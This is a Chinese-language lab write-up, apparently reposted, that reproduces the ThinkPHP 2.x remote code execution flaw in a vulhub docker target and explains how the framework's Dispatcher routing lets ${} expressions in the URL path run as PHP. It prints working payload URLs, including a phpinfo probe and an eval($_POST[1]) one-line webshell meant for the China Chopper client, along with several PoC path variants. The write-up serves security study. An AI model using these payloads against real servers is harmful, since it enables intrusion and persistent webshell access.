漏洞復現-2.x rce-Thinkphp遠程命令執行


 
 
 
 
 
 

0x00實驗環境

攻擊機:win10

靶機:Ubuntu18 (docker搭建的vulhub靶場)

 

0x01影響版本

影響Thinkphp 2.x的版本

 

0x02實驗目的

學習更多的命令執行姿勢,同時了解thinkphp 2.x命令執行的原理

 

0x03實驗步驟

訪問頁面,發現是一個Thinkphp的CMS框架,由於是漏洞復現,我們能很清楚的知道它的版本是2.x。如果不知道版本可通過亂輸入路徑進行報錯,或是使用雲悉指紋識別進行檢測

此時輸入已爆出的遠程代碼執行命令即可復現漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此為一句話連菜刀

 

 

這里只要將phpinfo換成一句話木馬即可成功!

 

0x04實驗原理

(1)通過觀察這句話,我們可以清楚地知道它是將

 
        
${@phpinfo()}
 
        
作為變量輸出到了頁面顯示,其原理,我通過freebuf總結一下:
  • PHP當中,${}是可以構造一個變量的,{}寫的是一般的字符,那么就會被當成變量,比如${a}等價於$a
  • thinkphp 所有的主入口文件默認訪問index控制器(模塊)
  • thinkphp 所有的控制器默認執行index動作(方法)
  • http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...]
  • 數組$var在路徑存在模塊和動作時,會去除掉前2個值。而數組$var來自於explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。

    所以我們可以構造poc如下:

 

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
.......

 

 (2)簡而言之,就是在thinphp的類似於MVC的框架中,存在一個Dispatcher.class.php的文件,它規定了如何解析路由,在該文件中,存在一個函數為static public function dispatch(),此為URL映射控制器,是為了將URL訪問的路徑映射到該控制器下獲取資源的,而當我們輸入的URL作為變量傳入時,該URL映射控制器會將變量以數組的方式獲取出來,從而導致漏洞的產生。

類名為`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  獲得服務器的PATH_INFO信息
static public function routerCheck() 路由檢測
static private function parseUrl($route)
static private function getModule($var) 獲得實際的模塊名稱
static private function getGroup($var) 獲得實際的分組名稱

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM